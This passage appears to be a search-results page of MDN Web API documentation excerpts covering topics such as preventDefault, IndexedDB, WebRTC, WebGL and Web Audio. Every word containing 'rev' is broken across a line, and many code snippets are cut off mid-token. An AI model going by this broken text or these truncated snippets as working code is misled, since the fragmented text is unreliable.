orm); odata.append("customfield", "this is some extra data"); var oreq = new xmlhttprequest(); oreq.open("post", "stash.php", true); oreq.onload = function(oevent) { if (oreq.status == 200) { ooutput.innerhtml = "uploaded!"; } else { ooutput.innerhtml = "error " + oreq.status + " occurred when trying to upload your file.<br \/>"; } }; oreq.send(odata); ev.p
reventdefault(); }, false); note: if you pass in a reference to the form, the request method specified in the form will be used over the method specified in the open() call.
... typically this is used as shown in our simple formdata event demo — in the javascript we reference a form: const formelem = document.queryselector('form'); in our submit event handler we use p
reventdefault to stop the default form submission, then invoke a formdata constructor to trigger the formdata event: formelem.addeventlistener('submit', (e) => { // on form submission, p
revent default e.p
reventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); when the formdata event fires we can access the formdata object using formdataev...
GlobalEventHandlers.onmousedown - Web APIs
example this example
reveals part of an image when you press and hold a mouse button.
...div> css .container { width: 320px; height: 213px; background: black; } .view { position: absolute; width: 100px; height: 100px; background: white; border-radius: 50%; } img { mix-blend-mode: darken; } javascript function showview(event) { view.removeattribute('hidden'); view.style.left = event.clientx - 50 + 'px'; view.style.top = event.clienty - 50 + 'px'; event.p
reventdefault(); } function moveview(event) { view.style.left = event.clientx - 50 + 'px'; view.style.top = event.clienty - 50 + 'px'; } function hideview(event) { view.setattribute('hidden', ''); } const container = document.queryselector('.container'); const view = document.queryselector('.view'); container.onmousedown = showview; container.onmousemove = moveview; document.onmouseup = hid...
HTMLImageElement - Web APIs
this p
revents rendering of the next frame from having to pause to decode the image, as would happen if an undecoded image were added to the dom.
... the specified image is corrupted in some way that p
revents it from being loaded.
HTMLOListElement - Web APIs
htmlolistelement.
reversed is a boolean value reflecting the
reversed and defining if the numbering is descending, that is its value is true, or ascending (false).
... recommendation added the
reversed property.
Working with the History API - Web APIs
here too, going back doesn't change the document's contents from what they were in the p
revious step, although the document might update its contents manually upon receiving the popstate event.
...note that this doesn't p
revent the creation of a new entry in the global browser history.
IDBCursor - Web APIs
p
rev : "p
rev" : the cursor shows all records, including duplicates.
... p
revunique : "p
revunique" : the cursor shows all records, excluding duplicates.
IDBCursorSync - Web APIs
p
rev 2 this cursor includes duplicates, and its direction is monotonically decreasing in the order of keys.
... p
rev_no_duplicate 3 this cursor does not include duplicates, and its direction is monotonically decreasing in the order of keys.
IDBDatabase.transaction() - Web APIs
p
reviously in a readwrite transaction idbtransaction.oncomplete was fired only when all data was guaranteed to have been flushed to disk.
... exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror the close() method has p
reviously been called on this idbdatabase instance.
IDBOpenDBRequest: blocked event - Web APIs
eateindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { // let's try to open the same database with a higher
revision version const req2 = indexeddb.open('todolist', 5); // in this case the onblocked handler will be executed req2.addeventlistener('blocked', () => { console.log('request was blocked'); }); }; using the onblocked property: // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.resu...
...eateindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { // let's try to open the same database with a higher
revision version const req2 = indexeddb.open('todolist', 5); // in this case the onblocked handler will be executed req2.onblocked = () => { console.log('request was blocked'); }; }; ...
IDBTransaction - Web APIs
this can be p
revented by using p
reventdefault() on the error event on the request.
... firefox durability guarantees note that as of firefox 40, indexeddb transactions have relaxed durability guarantees to increase performance (see bug 1112702.) p
reviously in a readwrite transaction idbtransaction.oncomplete was fired only when all data was guaranteed to have been flushed to disk.
Basic concepts - Web APIs
requests are objects that receive the success or failure dom events that were mentioned p
reviously.
... the security boundary imposed on indexeddb p
revents applications from accessing data with a different origin.
Checking when a deadline is due - Web APIs
when the form's submit button is pressed, we run the adddata() function, which starts like this: function adddata(e) { e.p
reventdefault(); if(title.value == '' || hours.value == null || minutes.value == null || day.value == '' || month.value == '' || year.value == null) { note.innerhtml += '<li>data not submitted — form incomplete.</li>'; return; } in this segment, we check to see if the form fields have all been filled in.
... switch(cursor.value.month) { case "january": var monthnumber = 0; break; case "february": var monthnumber = 1; break; // other lines removed from listing for b
revity case "december": var monthnumber = 11; break; default: alert('incorrect month entered in database.'); } the first thing we do is convert the month names we have stored in the database into a month number that javascript will understand.
KeyboardEvent.code - Web APIs
window.addeventlistener("keydown", function(event) { if (event.defaultp
revented) { return; // do nothing if event already handled } switch(event.code) { case "keys": case "arrowdown": // handle "back" updateposition(-moverate); break; case "keyw": case "arrowup": // handle "forward" updateposition(moverate); break; case "keya": case "arrowleft": // handle "turn left" angle -= turnrate; ...
... break; case "keyd": case "arrowright": // handle "turn right" angle += turnrate; break; } refresh(); // consume the event so it doesn't get handled twice event.p
reventdefault(); }, true); try it out to ensure that keystrokes go to the sample code, click inside the black game play field below before pressing keys.
KeyboardEvent.keyCode - Web APIs
example window.addeventlistener("keydown", function (event) { if (event.defaultp
revented) { return; // should do nothing if the default action has been cancelled } var handled = false; if (event.key !== undefined) { // handle the event with keyboardevent.key and set handled true.
... } if (handled) { // suppress "double action" if event handled event.p
reventdefault(); } }, true); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.keycode' in that specification.
KeyframeEffectOptions - Web APIs
replace overwrites the p
revious value with the new one.
... direction optional whether the animation runs forwards (normal), backwards (
reverse), switches direction after each iteration (alternate), or runs backwards and switches direction after each iteration (alternate-
reverse).
Location - Web APIs
le]:hover:before, :target:before {background:black; color:yellow;} [title] [title]:before {margin-top:1.5em;} [title] [title] [title]:before {margin-top:3em;} [title]:hover, :target {position:relative; z-index:1; outline:50em solid rgba(255,255,255,.8);} javascript [].foreach.call(document.queryselectorall('[title][id]'), function (node) { node.addeventlistener("click", function(e) { e.p
reventdefault(); e.stoppropagation(); window.location.hash = '#' + $(this).attr('id'); }); }); [].foreach.call(document.queryselectorall('[title]'), function (node) { node.addeventlistener("click", function(e) { e.p
reventdefault(); e.stoppropagation(); window.location.hash = ''; }); }); result properties location.ancestororigins is a static domstringlist containing, ...
...in
reverse order, the origins of all ancestor browsing contexts of the document associated with the given location object.
MediaError.code - Web APIs
media_err_network 2 some kind of network error occurred which p
revented the media from being successfully fetched, despite having p
reviously been available.
... media_err_decode 3 despite having p
reviously been determined to be usable, an error occurred while trying to decode the media resource, resulting in an error.
MediaError - Web APIs
media_err_network 2 some kind of network error occurred which p
revented the media from being successfully fetched, despite having p
reviously been available.
... media_err_decode 3 despite having p
reviously been determined to be usable, an error occurred while trying to decode the media resource, resulting in an error.
MediaPositionState.playbackRate - Web APIs
for example, a browser might use this information along with the position property and the navigator.mediasession.playbackstate, as well as the session's metadata to provide an integrated common user interface showing the currently playing media as well as standard pause, play, forward,
reverse, and other controls.
...negative values can be specified to indicate the media is playing in
reverse, with decreasing values then indicating faster and faster
reverse playback.
MediaRecorder.onerror - Web APIs
the error object is of type mediarecordererro
revent, and its error property contains a domexception object that describes the error that occurred.
...in addition to other general errors that might occur, the following errors are specifically possible when using the mediastream recording api; to determine which occurred, check the value of mediarecordererro
revent.error.name.
MediaRecorder - Web APIs
the received event is based on the mediarecordererro
revent interface, whose error property contains a domexception that describes the actual error that occurred.
...some lines have been omitted for b
revity; refer to the source for the complete code.
MediaSessionActionDetails - Web APIs
a "fast" seek is a seek being performed in a rapid sequence, such as when fast-forwarding or
reversing through the media, rapidly skipping through it.
... p
revioustrack moves back to the p
revious track.
MediaStream Recording API - Web APIs
} } function download() { var blob = new blob(recordedchunks, { type: "video/webm" }); var url = url.createobjecturl(blob); var a = document.createelement("a"); document.body.appendchild(a); a.style = "display: none"; a.href = url; a.download = "test.webm"; a.click(); window.url.
revokeobjecturl(url); } // demo: to download after 9sec settimeout(event => { console.log("stopping"); mediarecorder.stop(); }, 9000); examining and controlling the recorder status you can also use the properties of the mediarecorder object to determine the state of the recording process, and its pause() and resume() methods to pause and resume recording of the source media.
... mediarecordererro
revent the interface that represents errors thrown by the mediastream recording api.
MouseEvent.button - Web APIs
a mouse configured for left-handed use may have the button actions
reversed.
... example html <button id="button" oncontextmenu="event.p
reventdefault();">click here with your mouse...</button> <p id="log"></p> javascript let button = document.queryselector('#button'); let log = document.queryselector('#log'); button.addeventlistener('mouseup', logmousebutton); function logmousebutton(e) { if (typeof e === 'object') { switch (e.button) { case 0: log.textcontent = 'left button clicked.'; break; case 1: log.textcontent = 'middle button clicked.'; break; case 2: log.textcontent = 'right button clicked.
MouseEvent.movementX - Web APIs
the movementx read-only property of the mouseevent interface provides the difference in the x coordinate of the mouse pointer between the given event and the p
revious mousemove event.
... in other words, the value of the property is computed like this: currentevent.movementx = currentevent.screenx - p
reviousevent.screenx.
MouseEvent.movementY - Web APIs
the movementy read-only property of the mouseevent interface provides the difference in the y coordinate of the mouse pointer between the given event and the p
revious mousemove event.
... in other words, the value of the property is computed like this: currentevent.movementy = currentevent.screeny - p
reviousevent.screeny.
MutationObserverInit.attributes - Web APIs
attributeoldvalue lets you specify whether or not you want the p
revious value of changed attributes to be included in the mutationrecord's oldvalue property.
... when observe() is called, the specified options are attributes and attributeoldvalue, which means that changes to attribute values will be reported, and each mutation record will include the oldvalue property specifying the attribute's p
revious value.
MutationObserverInit - Web APIs
attributeoldvalue optional set to true to record the p
revious value of any attribute that changes when monitoring the node or nodes for attribute changes; see monitoring attribute values in mutationobserver for details on watching for attribute changes and value recording.
... characterdataoldvalue optional set to true to record the p
revious value of a node's text whenever the text changes on nodes being monitored.
Using Navigation Timing - Web APIs
case performancenavigation.type_reload: output += "reload"; break; case performancenavigation.type_back_forward: output += "history"; break; default: output += "unknown"; break; } output += "<br/>redirects: " + performance.navigation.redirectcount; document.queryselector(".output").innerhtml = output; }, false); this amends the p
revious example by looking at the contents of the performance.navigation object.
...this information is output to the screen just like the page load time was p
reviously: by inserting it into the element with class "output".
Navigation Timing API - Web APIs
this api lets you measure data that was p
reviously difficult to obtain, such as the amount of time needed to unload the p
revious page, how long domain lookups take, the total time spent executing the window's load handler, and so forth.
... the navigation timing api can be used to gather performance data on the client side to be sent to a server via xhr as well as measure data that was very difficult to measure by other means such as time to unload a p
revious page, domain look up time, window.onload total time, etc.
Node.setUserData() - Web APIs
syntax var p
revuserdata = somenode.setuserdata(userkey, userdata, handler); parameters userkey is used as the key by which one may subsequently obtain the stored data.
...if null, any p
reviously registered object and userdatahandler associated to userkey on this node will be removed.
NonDocumentTypeChildNode - Web APIs
nondocumenttypechildnode.p
reviouselementsibling read only returns the element immediately prior to this node in its parent's children list, or null if there is no element in the list prior to this node.
...the p
reviouselementsibling and nextelementsibling are now defined on the latter.
Notification.close() - Web APIs
the close() method of the notification interface is used to close/remove a p
reviously displayed notification.
... note: this api shouldn't be used just to have the notification removed from the screen after a fixed delay since this method will also remove the notification from any notification tray, p
reventing users from interacting with it after it was initially shown.
Notification.onclick - Web APIs
if you don't want that behaviour, call p
reventdefault() on the event object.
... examples in the following example, we use an onclick handler to open a webpage in a new tab (specified by the inclusion of the '_blank' parameter) once a notification is clicked: notification.onclick = function(event) { event.p
reventdefault(); // p
revent the browser from focusing the notification's tab window.open('http://www.mozilla.org', '_blank'); } specifications specification status comment notifications apithe definition of 'onclick' in that specification.
PaymentRequest.shippingAddress - Web APIs
// initialization of paymentrequest arguments are excerpted for the sake of // b
revity.
... var payment = new paymentrequest(supportedinstruments, details, options); payment.addeventlistener('shippingaddresschange', function(evt) { evt.updatewith(new promise(function(resolve) { updatedetails(details, request.shippingaddress, resolve); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for b
revity.
PaymentRequest.show() - Web APIs
if any fields have unacceptable values, or if an exception is thrown by the p
revious code, complete() is called with the string "fail", which indicates that the payment process is complete and failed.
... button.onclick = async function handlepurchase() { // initialization of paymentrequest arguments are excerpted for the sake of // b
revity.
PaymentResponse.shippingAddress - Web APIs
// initialization of paymentrequest arguments are excerpted for b
revity.
... var payment = new paymentrequest(supportedinstruments, details, options); request.addeventlistener('shippingaddresschange', function(evt) { evt.updatewith(new promise(function(resolve) { updatedetails(details, request.shippingaddress, resolve); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for the same of b
revity.
PaymentResponse.shippingOption - Web APIs
// initialization of paymentrequest arguments are excerpted for b
revity.
... var payment = new paymentrequest(supportedinstruments, details, options); request.addeventlistener('shippingoptionchange', function(evt) { evt.updatewith(new promise(function(resolve, reject) { updatedetails(details, request.shippingoption, resolve, reject); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for the same of b
revity.
PerformanceNavigationTiming - Web APIs
performancenavigationtiming.unloadeventend read only a domhighrestimestamp representing the time value equal to the time immediately after the user agent finishes the unload event of the p
revious document.
... performancenavigationtiming.unloadeventstart read only a domhighrestimestamp representing the time value equal to the time immediately before the user agent starts the unload event of the p
revious document.
PerformanceTiming.navigationStart - Web APIs
the legacy performancetiming.navigationstart read-only property returns an unsigned long long representing the moment, in milliseconds since the unix epoch, right after the prompt for unload terminates on the p
revious document in the same browsing context.
... if there is no p
revious document, this value will be the same as performancetiming.fetchstart.
PromiseRejectionEvent.promise - Web APIs
event.p
reventdefault() is called to indicate that the promise has now been handled.
... window.onunhandledrejection = function(event) { if (event.reason.code && event.reason.code == "module not ready") { window.requestidlecallback(function(deadline) { loadmodule(event.reason.modulename) .then(performstartup); }); event.p
reventdefault(); } } specifications specification status comment html living standardthe definition of 'promiserejectionevent.promise' in that specification.
RTCConfiguration.iceTransportPolicy - Web APIs
this can be used to p
revent the remote endpoint from receiving the user's ip addresses, which may be important in some security situations.
... for example, in a video calling application, the app may want to p
revent unknown callers from learning the callee's ip addresses until the callee has agreed to receive the call.
RTCDTMFToneChangeEvent - Web APIs
properties in addition to the properties of event, this interface offers the following: rtcdtmftonechangeevent.tone read only a domstring specifying the tone which has begun playing, or an empty string ("") if the p
revious tone has finished playing.
...it appends each tone to a display box as it's played, and, once all tones have been sent, re-enabled a p
reviously-disabled "send" button, allowing the next dmtf string to be entered.
RTCDataChannel.onerror - Web APIs
when an error occurs on the data channel, the function receives as input an erro
revent object describing the error which occurred.
...this function receives as its only input an erro
revent object describing the event which was received.
RTCIceCandidate.address - Web APIs
the candidate ip addresses are always exposed to the application through address, and unsavory applications can in turn potentially
reveal the address to the user.
...doing so p
revents the remote user's address from being exposed, but reduces the pool of available candidates to choose from.
RTCInboundRtpStreamStats.packetsDuplicated - Web APIs
the packetsduplicated property of the rtcinboundrtpstreamstats dictionary indicates the total number of packets discarded because they were duplicates of p
reviously-received packets.
... usage notes duplicate packets are detected when a packet has the same rtp sequence number as another packet that has p
reviously been processed.
RTCPeerConnection.addTrack() - Web APIs
var mediaconstraints = { audio: true, // we want an audio track video: true // ...and we want a video track }; var desc = new rtcsessiondescription(sdp); pc.setremotedescription(desc).then(function () { return navigator.mediadevices.getusermedia(mediaconstraints); }) .then(function(stream) { p
reviewelement.srcobject = stream; stream.gettracks().foreach(track => pc.addtrack(track, stream)); }) this code takes sdp which has been received from the remote peer and constructs a new rtcsessiondescription to pass into setremotedescription().
... if that succeeds, the resulting stream is assigned as the source for a <video> element which is referenced by the variable p
reviewelement.
RTCPeerConnection: icecandidateerror event - Web APIs
the event object is of type rtcpeerconnectioniceerro
revent, and contains information describing the error in some amount of detail.
... bubbles no cancelable no interface rtcpeerconnectioniceerro
revent event handler property rtcpeerconnection.onicecandidateerror description the error object's errorcode property is one of the numeric stun error codes.
RTCPeerConnection.onidpassertionerror - Web APIs
the rtcpeerconnection.onidpassertionerror event handler is a property containing the code to execute whent the idpassertionerror event, of type rtcidentityerro
revent, is received by this rtcpeerconnection.
...an event handler always has one single parameter, containing the event, here of type rtcidentityerro
revent.
RTCPeerConnection.onidpvalidationerror - Web APIs
the rtcpeerconnection.onidpvalidationerror event handler is a property containing the code to execute whent the idpvalidationerror event, of type rtcidentityerro
revent, is received by this rtcpeerconnection.
...an event handler always has one single parameter, containing the event, here of type rtcidentityerro
revent.
RTCPeerConnection.setRemoteDescription() - Web APIs
these states indicate that either an existing connection is being renegotiated or that an offer p
reviously specified by an earlier call to setremotedescription() is to be replaced with the new offer.
... upon starting the new negotiation with the newly-established offer, the local peer is now the callee, even if it was p
reviously the caller.
RTCSessionDescription() - Web APIs
pranswer the session description object describes a provisional answer; that is, a response to a p
revious offer that is not the final answer.
... rollback this special type with an empty session description is used to roll back to the p
revious stable state.
RTCSessionDescription - Web APIs
pranswer the session description object describes a provisional answer; that is, a response to a p
revious offer that is not the final answer.
... rollback this special type with an empty session description is used to roll back to the p
revious stable state.
ReadableStream.tee() - Web APIs
teeing a stream will generally lock it for the duration, p
reventing other readers from locking it.
... examples in the following simple example, a p
reviously-created stream is teed, then both resulting streams (contained in two members of a generated array) are passed to a function that reads the data out of the two streams and prints each stream's chunks sequentially to a different part of the ui.
Request.mode - Web APIs
no-cors — p
revents the method from being anything other than head, get or post, and the headers from being anything other than simple headers.
...this ensures that serviceworkers do not affect the semantics of the web and p
revents security and privacy issues arising from leaking data across domains.
SVGGraphicsElement: copy event - Web APIs
a handler for this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the event's default action using event.p
reventdefault().
...lns="http://www.w3.org/1999/xhtml" placeholder="paste it here"/> </foreignobject> </svg> css input { font-size: 10px; width: 100%; height: 90%; box-sizing: border-box; border: 1px solid black; } javascript document.getelementsbytagname("text")[0].addeventlistener("copy", evt => { evt.clipboarddata.setdata('text/plain', document.getselection().tostring().touppercase()); evt.p
reventdefault(); }); result specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation definition that the clipboard events apply to svg elements.
SVGGraphicsElement: cut event - Web APIs
a handler for this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the default action using event.p
reventdefault().
... note though that cancelling the default action will also p
revent the document from being updated.
SVGGraphicsElement: paste event - Web APIs
to override the default behavior (for example to insert some different data or a transformation of the clipboard contents) an event handler must cancel the default action using event.p
reventdefault(), and then insert its desired data manually.
...ect> <text x="5" y="30" id="element-to-paste-text" tabindex="1">paste it here</text> </svg> css input { font-size: 10px; width: 100%; height: 90%; box-sizing: border-box; border: 1px solid black; } javascript document.getelementbyid("element-to-paste-text").addeventlistener("paste", evt => { evt.target.textcontent = evt.clipboarddata.getdata("text/plain").touppercase(); evt.p
reventdefault(); }); result specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation definition that the clipboard events apply to svg elements.
Selection - Web APIs
a user may make a selection from left to right (in document order) or right to left (
reverse of document order).
... the behavior is as follows: an editing host gains focus if the p
revious selection was outside of it.
Using server-sent events - Web APIs
note: the comment line can be used to p
revent connections from timing out; a server can send a comment periodically to keep the connection alive.
...as mentioned p
reviously, this can be useful as a keep-alive mechanism if messages might not be sent regularly.
ServiceWorkerContainer.onerror - Web APIs
syntax serviceworkercontainer.onerror = function(erro
revent) { ...
... } example navigator.serviceworker.onerror = function(erro
revent) { console.log(`received error message: ${erro
revent.message}`); } ...
Service Worker API - Web APIs
note: service workers win over p
revious attempts in this area such as; appcache because they don't make assumptions about what you are trying to do, and then break when those assumptions are not exactly right; you have granular control over everything.
...the point where this event fires is generally a good time to clean up old caches and other things associated with the p
revious version of your service worker.
SpeechSynthesis - Web APIs
inside the inputform.onsubmit handler, we stop the form submitting with p
reventdefault(), create a new speechsynthesisutterance instance containing the text from the text <input>, set the utterance's voice to the voice selected in the <select> element, and start the utterance speaking via the speechsynthesis.speak() method.
...ces[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } inputform.onsubmit = function(event) { event.p
reventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.pitch = pitch.value; utterthis.rate = rate.value; synth.speak(utterthis); inputtxt.blur(); }...
SpeechSynthesisUtterance: error event - Web APIs
the error event of the web speech api speechsynthesisutterance object is fired when an error occurs that p
revents the utterance from being succesfully spoken.
... bubbles no cancelable no interface speechsynthesiserro
revent event handler property onerror examples you can use the error event in an addeventlistener method: utterthis.addeventlistener('error', function(event) { console.log('an error has occurred with the speech synthesis: ' + event.error'); }); or use the onerror event handler property: utterthis.onerror = function(event) { console.log('an error has occurred with the speech synthesis: ' + event.error'); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance.onerror - Web APIs
the onerror property of the speechsynthesisutterance interface represents an event handler that will run when an error occurs that p
revents the utterance from being succesfully spoken (when the error event fires.) syntax speechsynthesisutteranceinstance.onerror = function() { ...
... inputform.onsubmit = function(event) { event.p
reventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onerror = function(event) { console.log('an error has occurred with the speech synthesis: ' + event.error); } inputtxt.blur(); } specifications specification ...
Storage API - Web APIs
both of these values are estimates; there are several reasons why they're not precise: user agents are encouraged to obscure the exact size of the data used by a given origin, to p
revent these values from being used for fingerprinting purposes.
... quotas are conservative estimates of the space available for the origin's use, and should be less than the available space on the device to help p
revent overruns.
Using writable streams - Web APIs
the difference is that when close is called, any p
reviously enqueued chunks are written and finished with before the stream is closed.
... when abort is called, any p
reviously enqueued chunks are just thrown away immediately and then the stream is moved to an errored state.
TreeWalker - Web APIs
treewalker.p
revioussibling() moves the current node to its p
revious sibling, if any, and returns the found sibling.
... treewalker.p
reviousnode() moves the current node to the p
revious visible node in the document order, and returns the found node.
URL.createObjectURL() - Web APIs
to release an object url, call
revokeobjecturl().
...each of these must be released by calling url.
revokeobjecturl() when you no longer need them.
URL - Web APIs
revokeobjecturl()
revokes an object url p
reviously created using url.createobjecturl().
... working draft added the static methods url.createobjecturl() and url.
revokeobjecturl().
ValidityState - Web APIs
note: this property is never true in gecko, because elements' values are p
revented from being longer than maxlength.
... recommendation no change from the p
revious snapshot html5.
WebGLRenderingContext.blendEquation() - Web APIs
must be either: gl.func_add: source + destination, gl.func_subtract: source - destination, gl.func_
reverse_subtract: destination - source when using the ext_blend_minmax extension: ext.min_ext: minimum of source and destination, ext.max_ext: maximum of source and destination.
... examples to set the blend equation, use: gl.blendequation(gl.func_add); gl.blendequation(gl.func_subtract); gl.blendequation(gl.func_
reverse_subtract); to get the blend equations, query the blend_equation, blend_equation_rgb and blend_equation_alpha constants which return gl.func_add, gl.func_subtract, gl.func_
reverse_subtract, or if the ext_blend_minmax is enabled: ext.min_ext or ext.max_ext.
WebGLRenderingContext.vertexAttribPointer() - Web APIs
[2], true); dv.setint8(20 * i + 12, vertices[i].normal[0] * 0x7f); dv.setint8(20 * i + 13, vertices[i].normal[1] * 0x7f); dv.setint8(20 * i + 14, vertices[i].normal[2] * 0x7f); dv.setint8(20 * i + 15, 0); dv.setuint16(20 * i + 16, vertices[i].texcoord[0] * 0xffff, true); dv.setuint16(20 * i + 18, vertices[i].texcoord[1] * 0xffff, true); } for higher performance, we could also do the p
revious json to arraybuffer conversion on the server-side, e.g.
...signed_short, true, 20, 16); gl.enablevertexattribarray(2); //set the attributes in the vertex shader to the same indices gl.bindattriblocation(shaderprogram, 0, 'position'); gl.bindattriblocation(shaderprogram, 1, 'normal'); gl.bindattriblocation(shaderprogram, 2, 'texuv'); //since the attribute indices have changed, we must re-link the shader //note that this will reset all uniforms that were p
reviously set.
Basic scissoring - Web APIs
« p
reviousnext » in this example, we see how to draw simple rectangles and squares using webgl scissoring operations.
... « p
reviousnext » ...
Boilerplate 1 - Web APIs
« p
reviousnext » this example describes repeated pieces of code that will be hidden from now on, as well as defining a javascript utility function to make webgl initialization easier.
... « p
reviousnext » ...
Canvas size and WebGL - Web APIs
« p
reviousnext » this webgl example explores the effect of setting (or not setting) the canvas size to its element size in css pixels, as it appears in the browser window.
... « p
reviousnext » ...
Clearing by clicking - Web APIs
« p
reviousnext » this example demonstrates how to combine user interaction with webgl graphics operations by clearing the rendering context with a random color when the user clicks.
... « p
reviousnext » ...
Color masking - Web APIs
« p
reviousnext » this webgl example modifies random colors by applying color masking to limit the range of displayed colors to specific shades.
... « p
reviousnext » ...
Detect WebGL - Web APIs
« p
reviousnext » this example demonstrates how to detect a webgl rendering context and reports the result to the user.
... « p
reviousnext » ...
Hello GLSL - Web APIs
« p
reviousnext » this webgl example demonstrates a very basic glsl shader program that draws a solid color square.
... « p
reviousnext » ...
Hello vertex attributes - Web APIs
« p
reviousnext » this webgl example demonstrates how to combine shader programming and user interaction by sending user input to the shader using vertex attributes.
... « p
reviousnext » ...
Scissor animation - Web APIs
« p
reviousnext » a simple webgl example in which we have some animation fun using scissoring and clearing operations.
... « p
reviousnext » ...
Simple color animation - Web APIs
« p
reviousnext » a very basic color animation created using webgl, performed by clearing the drawing buffer with a different random color every second.
... « p
reviousnext » ...
Textures from code - Web APIs
« p
reviousnext » this webgl example provides a simple demonstration of procedural texturing with fragment shaders.
... « p
reviousnext » ...
Video textures - Web APIs
« p
revious this example demonstrates how to use video files as textures for webgl surfaces.
... textures from video « p
revious ...
WebGL by example - Web APIs
sometimes we
revisit a topic several times, such as when needing to discuss it initially at a basic level, and later at intermediate and advanced levels.
...you should read all comments, because more advanced examples could not repeat comments about parts of the code that were p
reviously explained.
Adding 2D content to a WebGL context - Web APIs
« p
reviousnext » once you've successfully created a webgl context, you can start rendering into it.
... see also matrices on webglfundamentals matrices on wolfram mathworld matrix on wikipedia « p
reviousnext » ...
Creating 3D objects using WebGL - Web APIs
« p
reviousnext » let's take our square plane into three dimensions by adding five more faces to create a cube.
... view the complete code | open this demo on a new page « p
reviousnext » ...
A simple RTCDataChannel sample - Web APIs
<div class="messagebox" id="receivebox"> <p>messages received:</p> </div> the javascript code while you can just look at the code itself on github, below we'll
review the parts of the code that do the heavy lifting.
... disconnecting the peers when the user clicks the "disconnect" button, the disconnectpeers() method p
reviously set as that button's handler is called.
Taking still photos with WebRTC - Web APIs
finally, we set the streaming variable to true to p
revent us from inadvertently running this setup code again.
... handle clicks on the button to capture a still photo each time the user clicks the startbutton, we need to add an event listener to the button, to be called when the click event is issued: startbutton.addeventlistener('click', function(ev){ takepicture(); ev.p
reventdefault(); }, false); this method is simple enough: it just calls our takepicture() function, defined below in the section capturing a frame from the stream, then calls event.p
reventdefault() on the received event to p
revent the click from being handled more than once.
Using DTMF with WebRTC - Web APIs
if so, we log the fact that we're about to send the dtmf, then we call dtmf.insertdtmf() to send the dtmf on the same track as the audio data method on the rtcdtmfsender object we p
reviously stored in dtmfsender.
...as p
reviously mentioned, our example is simplified somewhat because we control both the caller and the receiver, so handlecallernegotiationneeded() is able to quickly construct the connection by chaining the required calls together for both the caller and receiver, as shown below.
Fundamentals of WebXR - Web APIs
together, these technologies are referred to as mixed reality, which is abb
reviated xr.
...some platforms may provide p
reviously-cleared frames to you, while others may optimize performance by not erasing the framebuffers in order to avoid having to touch each pixel twice per frame.
Inputs and input sources - Web APIs
the list in profiles is in order of
reverse specificity; that is, the most precise description is first, and the least precise description is last.
... assuming inputs are used to control an avatar within the simulation, which is the most common use case, webxr inputs are used to affect the avatar in the following ways, using data collected from the non-xr input device: position the avatar's position is changed by applying a delta to the p
reviously known position, then replacing the avatar's reference space with a new one whose transform reflects the new position.
Basic concepts behind Web Audio API - Web APIs
create effects nodes, such as
reverb, biquad filter, panner, or compressor.
...the channels are usually represented by standard abb
reviations detailed in the table below: mono 0: m: mono stereo 0: l: left 1: r: right quad 0: l: left 1: r: right 2: sl: surround left 3: sr: surround right 5.1 0: l: left 1: r: right 2: c: center 3: lfe: subwoofer 4: sl: surround left 5: sr: surround right up-mixing and down-mixing when the number of channel...
Background audio processing using AudioWorklet - Web APIs
t samplecount = input[channelnum].length; for (let i = 0; i < samplecount; i++) { let sample = output[channelnum][i] + input[channelnum][i]; if (sample > 1.0) { sample = 1.0; } else if (sample < -1.0) { sample = -1.0; } output[channelnum][i] = sample; } } }; return true; } this is similar code to the p
revious sample in many ways, but only the first output—outputlist[0]—is altered.
... each sample is added to the corresponding sample in the output buffer, with a simple code fragment in place to p
revent the samples from exceeding the legal range of -1.0 to 1.0 by capping the values; there are other ways to avoid clipping that are perhaps less prone to distortion, but this is a simple example that's better than nothing.
Web audio spatialization basics - Web APIs
function moveboombox(direction, p
revmove) { switch (direction) { case 'left': if (transform.xaxis > leftbound) { transform.xaxis -= 5; panner.positionx.value -= 0.1; } break; case 'up': if (transform.yaxis > topbound) { transform.yaxis -= 5; panner.positiony.value -= 0.3; } break; ...
... x = panner.orientationx.value; panner.orientationx.value = x; panner.orientationy.value = y; panner.orientationz.value = z; break; } boombox.style.transform = 'translatex('+transform.xaxis+'px) translatey('+transform.yaxis+'px) scale('+transform.zaxis+') rotatey('+transform.rotatey+'deg) rotatex('+transform.rotatex+'deg)'; const move = p
revmove || {}; move.frameid = requestanimationframe(() => moveboombox(direction, move)); return move; } wiring up our controls wiring up out control buttons is comparatively simple — now we can listen for a mouse event on our controls and run this function, as well as stop it when the mouse is released: // for each of our controls, move the boombox and change the position values movecontr...
Web Authentication API - Web APIs
